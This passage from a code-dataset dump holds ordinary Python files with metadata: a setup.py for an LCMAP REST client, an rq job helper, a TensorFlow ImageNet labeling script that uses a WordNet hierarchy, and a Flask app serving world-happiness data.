"call"}, {"api_name": "numpy.random", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.hstack", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.outer", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.outer", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}]} {"seq_id": "150840365", "text": "# -*- encoding: utf-8 -*-\nimport glob\nimport re\nimport io\nimport sys\nfrom sys import version_info\nfrom os.path import basename\nfrom os.path import splitext\nfrom setuptools import find_packages\nfrom setuptools import setup\nfrom setuptools.command.test import test as TestCommand\n\n\nclass Tox(TestCommand):\n\n def finalize_options(self):\n TestCommand.finalize_options(self)\n self.test_args = []\n self.test_suite = True\n\n def run_tests(self):\n #import here, cause outside the eggs aren't loaded\n import tox\n errcode = tox.cmdline(self.test_args)\n sys.exit(errcode)\n\n\ndef read(filename, codec=None):\n with io.open(filename, mode='rb', encoding=codec) as handle:\n return handle.read()\n\n\ndef min_gdal_version():\n \"\"\"Returns the installed gdal version or Exception if not installed.\"\"\"\n\n cmd = ['gdal-config', '--version']\n\n if version_info >= (2,4) and version_info <= (2,6):\n from subprocess import Popen, PIPE\n p = Popen(cmd, stdout=PIPE)\n version = p.communicate()[0].strip()\n elif version_info >=(2,7):\n from subprocess import check_output\n version = check_output(cmd).strip()\n else:\n raise Exception('Unsupported Python version:{0}.{1}.{2}'\n .format(version_info.major,\n version_info.minor,\n version_info.micro))\n\n if (type(version) is not str):\n version = version.decode('utf-8')\n\n return version\n\n\ndef max_gdal_version():\n ''' Returns the maximum pygdal version that can be installed '''\n #parts = min_gdal_version().decode('utf-8').split('.')\n parts = min_gdal_version().split('.')\n if len(parts) == 3:\n parts.append('999')\n max_version = '.'.join(parts)\n elif len(parts) > 3:\n max_version = '.'.join(parts)\n else:\n raise Exception('Can\\'t determine max gdal version from {0}'\n .format(min_gdal_version()))\n\n if (type(max_version) is not str):\n max_version = max_version.decode('utf-8')\n\n return max_version\n\n\nsetup(\n name='lcmap-client',\n version='1.0.0-dev',\n license='NASA Open Source Agreement 1.3',\n description='LCMAP REST Service Client (Python)',\n long_description='{0}'.format(read('README.md')),\n author='USGS EROS',\n author_email='http://eros.usgs.gov',\n url='https://github.com/usgs-eros/lcmap-client-py',\n packages=find_packages('src'),\n package_dir={'': 'src'},\n namespace_packages = ['lcmap'],\n\n # py_modules is an alternative way to look for what's included.\n # packages should handle it. WIP\n py_modules=[splitext(basename(i))[0] for i in glob.glob('src/*.py')],\n\n include_package_data=True,\n zip_safe=False,\n classifiers=[\n # complete classifier list: http://pypi.python.org/pypi?%3Aaction=list_classifiers\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Natural Language :: English',\n 'Operating System :: POSIX :: Linux',\n 'Operating System :: POSIX',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: Implementation :: CPython',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'Topic :: Utilities',\n ],\n keywords=[\n # eg: \"keyword1\", \"keyword2\", \"keyword3\",\n ],\n install_requires=['six', 'requests', 'pylru', 'termcolor', 'nose',\n 'click', 'DateTime',\n 'pygdal>={0},<={1}'.format(min_gdal_version(),\n max_gdal_version()),\n 'pandas'\n ],\n tests_require=['tox'],\n cmdclass = {'test': Tox},\n extras_require={\n 'dev': [''],\n 'test': ['']\n },\n entry_points= {\n 'console_scripts': [\n 'lcmap=lcmap.client.scripts.cl_tool.main:main']\n },\n)\n", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 4020, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "setuptools.command.test.test", "line_number": 14, "usage_type": "name"}, {"api_name": "setuptools.command.test.test.finalize_options", "line_number": 17, "usage_type": "call"}, {"api_name": "setuptools.command.test.test", "line_number": 17, "usage_type": "name"}, {"api_name": "tox.cmdline", "line_number": 24, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 25, "usage_type": "call"}, {"api_name": "io.open", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.version_info", "line_number": 38, "usage_type": "name"}, {"api_name": "subprocess.Popen", "line_number": 40, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 40, "usage_type": "name"}, {"api_name": "sys.version_info", "line_number": 42, "usage_type": "name"}, {"api_name": "subprocess.check_output", "line_number": 44, "usage_type": "call"}, {"api_name": "sys.version_info.major", "line_number": 47, "usage_type": "attribute"}, {"api_name": "sys.version_info", "line_number": 47, "usage_type": "name"}, {"api_name": "sys.version_info.minor", "line_number": 48, "usage_type": "attribute"}, {"api_name": "sys.version_info", "line_number": 48, "usage_type": "name"}, {"api_name": "sys.version_info.micro", "line_number": 49, "usage_type": "attribute"}, {"api_name": "sys.version_info", "line_number": 49, "usage_type": "name"}, {"api_name": "setuptools.setup", "line_number": 76, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 91, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 91, "usage_type": "call"}]} {"seq_id": "531818972", "text": "from flask import current_app\nfrom rq import Queue, Connection\nfrom rq.job import Job\nimport redis\nimport time\nfrom ..models import db\nfrom ..models.requests import Requests\n\n\nclass ManageJobs:\n accepted_statues = ['finished', 'failed']\n\n def __init__(self, func=None, args=None):\n self.func = func\n self.args = args\n self.result_ttl = 86000\n\n def queue(self):\n with Connection(redis.from_url(current_app.config['REDIS_URL'])):\n q = Queue()\n job = q.enqueue_call(func=self.func, args=(\n self.args,), result_ttl=self.result_ttl)\n monitor = q.enqueue_call(func=self.monitor, args=(\n job.id,), result_ttl=self.result_ttl, depends_on=job.id)\n return job\n\n def monitor(self, id):\n job = Job.fetch(id)\n while job.status not in self.accepted_statues:\n time.sleep(1)\n else:\n request = Requests.query.filter_by(jobid=job.id).first()\n request.status = job.status\n db.session.add(request)\n db.session.commit()\n\n def get_job(self, id):\n with Connection(redis.from_url(current_app.config['REDIS_URL'])):\n job = Job.fetch(id)\n return job\n", "sub_path": "app/utils/async.py", "file_name": "async.py", "file_ext": "py", "file_size_in_byte": 1246, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "rq.Connection", "line_number": 19, "usage_type": "call"}, {"api_name": "redis.from_url", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.current_app.config", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 19, "usage_type": "name"}, {"api_name": "rq.Queue", "line_number": 20, "usage_type": "call"}, {"api_name": "rq.job.Job.fetch", "line_number": 28, "usage_type": "call"}, {"api_name": "rq.job.Job", "line_number": 28, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 30, "usage_type": "call"}, {"api_name": "models.requests.Requests.query.filter_by", "line_number": 32, "usage_type": "call"}, {"api_name": "models.requests.Requests.query", "line_number": 32, "usage_type": "attribute"}, {"api_name": "models.requests.Requests", "line_number": 32, "usage_type": "name"}, {"api_name": "models.db.session.add", "line_number": 34, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 34, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 34, "usage_type": "name"}, {"api_name": "models.db.session.commit", "line_number": 35, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 35, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 35, "usage_type": "name"}, {"api_name": "rq.Connection", "line_number": 38, "usage_type": "call"}, {"api_name": "redis.from_url", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.current_app.config", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 38, "usage_type": "name"}, {"api_name": "rq.job.Job.fetch", "line_number": 39, "usage_type": "call"}, {"api_name": "rq.job.Job", "line_number": 39, "usage_type": "name"}]} {"seq_id": "631872987", "text": "# Copyright 2017 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom xml.etree.cElementTree import XML, fromstring, tostring, ElementTree\nimport urllib.request\nimport urllib\nfrom treelib import Node, Tree\nimport math\nimport os\nimport shutil\nimport time\nimport gc\n\nimport argparse\nimport sys\n\nimport numpy as np\nimport tensorflow as tf\n\ndef reCalculate(node, treeIn):\n if node.is_leaf():\n node.data.Confidence['Hierarchy'] = node.data.Confidence['Flat']\n return node.data.Confidence['Hierarchy']\n children = treeIn.children(node.identifier)\n entropy = 0\n for child in children:\n a = reCalculate(child, treeIn)\n entropy = entropy + a * math.log10(a)\n # b = node.data.Confidence['Flat']\n # entropy = entropy + b * math.log10(b)\n node.data.Confidence['Hierarchy'] = - 1.38065 * (10 ** (-23)) * entropy\n return node.data.Confidence['Hierarchy']\n\ndef load_graph(model_file):\n graph = tf.Graph()\n\n graph_def = tf.GraphDef()\n\n with open(model_file, \"rb\") as f:\n graph_def.ParseFromString(f.read())\n with graph.as_default():\n tf.import_graph_def(graph_def)\n\n\n return graph\n\ndef read_tensor_from_image_file(file_name, input_height=299, input_width=299,\n\t\t\t\tinput_mean=0, input_std=255):\n input_name = \"file_reader\"\n output_name = \"normalized\"\n file_reader = tf.read_file(file_name, input_name)\n\n \n if file_name.endswith(\".png\"):\n image_reader = tf.image.decode_png(file_reader, channels = 3,\n name='png_reader')\n elif file_name.endswith(\".gif\"):\n image_reader = tf.squeeze(tf.image.decode_gif(file_reader,\n name='gif_reader'))\n elif file_name.endswith(\".bmp\"):\n image_reader = tf.image.decode_bmp(file_reader, name='bmp_reader')\n else:\n image_reader = tf.image.decode_jpeg(file_reader, channels = 3,\n name='jpeg_reader')\n\n float_caster = tf.cast(image_reader, tf.float32)\n\n dims_expander = tf.expand_dims(float_caster, 0);\n\n resized = tf.image.resize_bilinear(dims_expander, [input_height, input_width])\n\n\n normalized = tf.divide(tf.subtract(resized, [input_mean]), [input_std])\n\n\n sess = tf.Session()\n\n # with tf.Session() as sess:\n # sess.run(...)\n\n result = sess.run(normalized)\n #sess.close()\n \n\n return result\n\ndef load_labels(label_file):\n label = []\n proto_as_ascii_lines = tf.gfile.GFile(label_file).readlines()\n for l in proto_as_ascii_lines:\n label.append(l.rstrip())\n return label\n\n\n\n# building tree\nclass Confidence(object):\n def __init__(self, a, b):\n self.Confidence = {'Flat': a, 'Hierarchy': b}\n\nwith urllib.request.urlopen('http://www.image-net.org/api/xml/structure_released.xml') as response:\n html = response.read()\ntree = ElementTree(fromstring(html))\nroot = tree.getroot()\n\nsynsetTree = Tree()\n\nsynsetTree.create_node('Entity', 'fall11', data = Confidence(0, 0))\nfor synset in root.iter('synset'):\n for child in synset:\n if child.get('wnid') in synsetTree._nodes:\n continue\n synsetTree.create_node(child.get('words'), child.get('wnid'), parent = synset.get('wnid'), data = Confidence(0, 0))\n\n# synsetTree.show()\ntreeDog = synsetTree.subtree('n02087122')\n\nmodel_file = \"tf_files/retrained_graph.pb\"\ngraph = load_graph(model_file)\n#graph.finalize()\n\n\ndef image_label(file_ID, file_suffix, graph):\n if __name__ == \"__main__\":\n start = time.clock()\n file_name = \"tf_files/ImageNet_test\" + '/' + file_ID + '/' + file_suffix\n model_file = \"tf_files/retrained_graph.pb\"\n label_file = \"tf_files/retrained_labels.txt\"\n input_height = 224\n input_width = 224\n input_mean = 128\n input_std = 128\n input_layer = \"input\"\n output_layer = \"final_result\"\n\n result_with_tree = 0\n result_without_tree = 0\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--image\", help=\"image to be processed\")\n parser.add_argument(\"--graph\", help=\"graph/model to be executed\")\n parser.add_argument(\"--labels\", help=\"name of file containing labels\")\n parser.add_argument(\"--input_height\", type=int, help=\"input height\")\n parser.add_argument(\"--input_width\", type=int, help=\"input width\")\n parser.add_argument(\"--input_mean\", type=int, help=\"input mean\")\n parser.add_argument(\"--input_std\", type=int, help=\"input std\")\n parser.add_argument(\"--input_layer\", help=\"name of input layer\")\n parser.add_argument(\"--output_layer\", help=\"name of output layer\")\n args = parser.parse_args()\n\n if args.graph:\n model_file = args.graph\n if args.image:\n file_name = args.image\n if args.labels:\n label_file = args.labels\n if args.input_height:\n input_height = args.input_height\n if args.input_width:\n input_width = args.input_width\n if args.input_mean:\n input_mean = args.input_mean\n if args.input_std:\n input_std = args.input_std\n if args.input_layer:\n input_layer = args.input_layer\n if args.output_layer:\n output_layer = args.output_layer\n\n \n\n t = read_tensor_from_image_file(file_name,\n input_height=input_height,\n input_width=input_width,\n input_mean=input_mean,\n input_std=input_std)\n\n input_name = \"import/\" + input_layer\n output_name = \"import/\" + output_layer\n\n input_operation = graph.get_operation_by_name(input_name);\n output_operation = graph.get_operation_by_name(output_name);\n\n\n\n\n with tf.Session(graph=graph) as sess:\n results = sess.run(output_operation.outputs[0],\n {input_operation.outputs[0]: t})\n results = np.squeeze(results)\n\n top_k = results.argmax()\n labels = load_labels(label_file)\n # for i in top_k:\n # print(labels[i], results[i])\n\n if labels[top_k] == file_ID:\n result_without_tree = 1\n\n\n len_results = len(results)\n for i in range(len_results):\n treeDog.get_node(labels[i]).data.Confidence['Flat'] = results[i]\n\n treeDog.get_node(treeDog.root).data.Confidence['Hierarchy'] = reCalculate(treeDog.get_node(treeDog.root), treeDog)\n \n pointer = treeDog.get_node(treeDog.root)\n #print (pointer.tag)\n while (not pointer.is_leaf()):\n children = treeDog.children(pointer.identifier)\n List = []\n for i in range(len(children)):\n List.append(children[i].data.Confidence['Hierarchy'])\n pointer = children[List.index(max(List))]\n # print (pointer.tag)\n if pointer.identifier == file_ID:\n result_with_tree = 1;\n\n return [result_without_tree, result_with_tree]\n\n\nfirststart = time.clock()\n\n#gc.disable()\npath_img='/Users/apple/tensorflow/tensorflow-for-poets-2/tf_files/ImageNet_test'\nls = os.listdir(path_img)\nlenl = len(ls)\ntotal = 0\nwith_tree = 0\nwithout_tree = 0\nfor i in range(lenl):\n if ls[i] == '.DS_Store':\n continue\n ls_sub = os.listdir(path_img + '/' + ls[i])\n lenl_sub = (int)(len(ls_sub))\n temp_without_tree = 0\n temp_with_tree = 0\n temp_total = 0\n for j in range(lenl_sub):\n if ls_sub[j] == '.DS_Store':\n continue\n \n #gc.disable()\n result = image_label(ls[i], ls_sub[j], graph)\n tf.reset_default_graph()\n #gc.enable()\n\n temp_total += 1\n temp_without_tree += result[0]\n temp_with_tree += result[1]\n print (result)\n total += temp_total\n without_tree += temp_without_tree\n with_tree += temp_with_tree\n if temp_total != 0:\n temp_accuracy = [temp_without_tree / temp_total, temp_with_tree / temp_total]\n print ('accuracy for %s :' % ls[i], temp_accuracy)\n\n print ('count: %s' % total)\n accuracy = [without_tree / total, with_tree / total]\n print ('total: %s' % accuracy)\n\n#gc.enable()\nfinalend = time.clock()\nprint (finalend - firststart)\n\n\n\n\n\n\n", "sub_path": "android-model403/scripts/label_image_test3.py", "file_name": "label_image_test3.py", "file_ext": "py", "file_size_in_byte": 8584, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "math.log10", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.Graph", "line_number": 50, "usage_type": "call"}, {"api_name": "tensorflow.GraphDef", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.import_graph_def", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.read_file", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.image.decode_png", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 70, "usage_type": "attribute"}, {"api_name": "tensorflow.squeeze", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorflow.image.decode_gif", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 73, "usage_type": "attribute"}, {"api_name": "tensorflow.image.decode_bmp", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 76, "usage_type": "attribute"}, {"api_name": "tensorflow.image.decode_jpeg", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 78, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 81, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 81, "usage_type": "attribute"}, {"api_name": "tensorflow.expand_dims", "line_number": 83, "usage_type": "call"}, {"api_name": "tensorflow.image.resize_bilinear", "line_number": 85, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 85, "usage_type": "attribute"}, {"api_name": "tensorflow.divide", "line_number": 88, "usage_type": "call"}, {"api_name": "tensorflow.subtract", "line_number": 88, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 91, "usage_type": "call"}, {"api_name": "tensorflow.gfile.GFile", "line_number": 104, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 104, "usage_type": "attribute"}, {"api_name": "urllib.request.urlopen", "line_number": 116, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 116, "usage_type": "attribute"}, {"api_name": "xml.etree.cElementTree.ElementTree", "line_number": 118, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree.fromstring", "line_number": 118, "usage_type": "call"}, {"api_name": "treelib.Tree", "line_number": 121, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 140, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 154, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 205, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 237, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 241, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 249, "usage_type": "call"}, {"api_name": "tensorflow.reset_default_graph", "line_number": 260, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 279, "usage_type": "call"}]} {"seq_id": "321634621", "text": "import os\n\nimport pandas as pd\nimport numpy as np\n\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\nfrom sqlalchemy import inspect\nfrom sqlalchemy import MetaData\nfrom sqlalchemy import Table\n\nfrom flask import Flask, jsonify, render_template, redirect\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\n\n\n#################################################\n# Database Setup\n#################################################\n\n\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"sqlite:///db/World_Happiness_Life_Expectancy_db.sqlite\"\ndb = SQLAlchemy(app)\n\n\nengine2 = db.engine\n\n\n\n@app.route(\"/\")\ndef index():\n \"\"\"Return the homepage.\"\"\"\n\n return render_template(\"index.html\")\n\n\n\n@app.route(\"/visualization\")\ndef index2():\n \"\"\"Visualization Page.\"\"\"\n\n return render_template(\"index2.html\")\n\n@app.route(\"/tensorflow\")\ndef tensorflow():\n \"\"\"Image Classification Page.\"\"\"\n\n return render_template(\"image_test.html\")\n\n\n@app.route(\"/flaskcode\")\ndef flaskcode():\n \"\"\"Flask Code Page.\"\"\"\n\n return render_template(\"flask.html\")\n\n\n@app.route(\"/pandas\")\ndef index_pandas():\n \"\"\"Data Cleaning and Wrangling Page.\"\"\"\n\n return redirect(\"https://xliu510.github.io/Happiness_JN/\")\n\n\n\n@app.route(\"/httpcats\")\ndef index_HttpCats():\n \"\"\"Http Cats Page.\"\"\"\n \n return redirect(\"https://xliu510.github.io/Happiness/cats_index.html\")\n\n\n@app.route(\"/tableau\")\ndef tableau_link():\n \"\"\"Tableau Page.\"\"\"\n \n return redirect(\"https://public.tableau.com/profile/xing7154#!/vizhome/Happiness_15525426932400/CountryMap\")\n\n\n@app.route(\"/sandy_graph\")\ndef index_sandyGraph():\n \"\"\"Http Sandy's Graph Page.\"\"\"\n \n return render_template(\"graph.html\")\n\n\n\n@app.route(\"/index_jessie\")\ndef map_visual():\n \"\"\"Bubble Plot\"\"\"\n return render_template(\"index_jessie.html\")\n\n\n@app.route(\"/happiness_score\")\ndef map_score():\n \"\"\"Happiness Score Map\"\"\"\n return render_template(\"plot_happiness_score.html\")\n\n@app.route(\"/happiness_rank\")\ndef map_rank():\n \"\"\"Happiness Rank Map\"\"\"\n return render_template(\"plot_happiness_rank.html\")\n\n@app.route(\"/happiness_kmeans\")\ndef map_kmeans():\n \"\"\"Happiness Kmeans Map\"\"\"\n return render_template(\"plot_happiness_kmeans_clustering.html\")\n\n@app.route(\"/region/happiness\")\ndef happiness_region():\n\n #select query\n\n avg_happiness_region_select = ('SELECT region_2015, avg(happiness_score_2015) as avg_happiness_2015 '\n ', avg(life_expectancy) as avg_life_2015 '\n ', avg(hw.value) as avg_whr_2015 '\n 'FROM World_Happiness_Life_Expectancy_tb hl'\n ' JOIN weekly_hours_avg_worked_job_df_2015_2017_tb hw ON hl.country = hw.country '\n 'GROUP BY region_2015')\n\n\n #read query into dataframe\n avg_happiness_region_df = pd.read_sql(avg_happiness_region_select, engine2.connect())\n\n \n #convert dataframe to list\n happiness_region = avg_happiness_region_df[\"Region_2015\"].values.tolist()\n happiness_score = avg_happiness_region_df[\"avg_happiness_2015\"].values.tolist()\n happiness_life = avg_happiness_region_df[\"avg_life_2015\"].values.tolist()\n happiness_work = avg_happiness_region_df[\"avg_whr_2015\"].values.tolist()\n\n #create happiness object\n happiness = {\n \"region\": happiness_region,\n \"happiness\": happiness_score,\n \"life\": happiness_life,\n \"work\": happiness_work\n }\n\n #return as json object\n return jsonify(happiness)\n\n\n\n@app.route(\"/barplot/<feature>\")\ndef graph_barplot(feature):\n\n selected_feature = None\n\n if feature == 'adultmortality':\n selected_feature = 'adult_mortality'\n elif feature == 'lifeexpectancy':\n selected_feature = 'life_expectancy'\n elif feature == 'gdp':\n selected_feature = 'gdp_per_capita_2015'\n elif feature == 'family':\n selected_feature = 'family_2015'\n elif feature == 'health':\n selected_feature = 'health_2015'\n elif feature == 'freedom':\n selected_feature = 'freedom_2015'\n elif feature == 'income':\n selected_feature = 'income'\n \n\n\n #select query\n happiness_region_select = ('SELECT country, happiness_score_2015 '\n f', {selected_feature} as Second_Feature '\n 'FROM World_Happiness_Life_Expectancy_tb '\n 'ORDER BY happiness_score_2015 DESC LIMIT 50')\n\n #read query into dataframe\n happiness_region_df = pd.read_sql(happiness_region_select, engine2.connect())\n \n #convert dataframe to dictionary\n happiness_region_dict = happiness_region_df.to_dict('records')\n\n #return as json object\n return jsonify(happiness_region_dict)\n \n \n\n\nif __name__ == \"__main__\":\n app.run()\n", "sub_path": "flask/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 4861, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 17, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 87, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 94, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 100, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 110, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 126, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 144, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 177, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 183, "usage_type": "call"}]} {"seq_id": "614508264", "text": "\"\"\"\nActually using the feature extractor!!\ndump 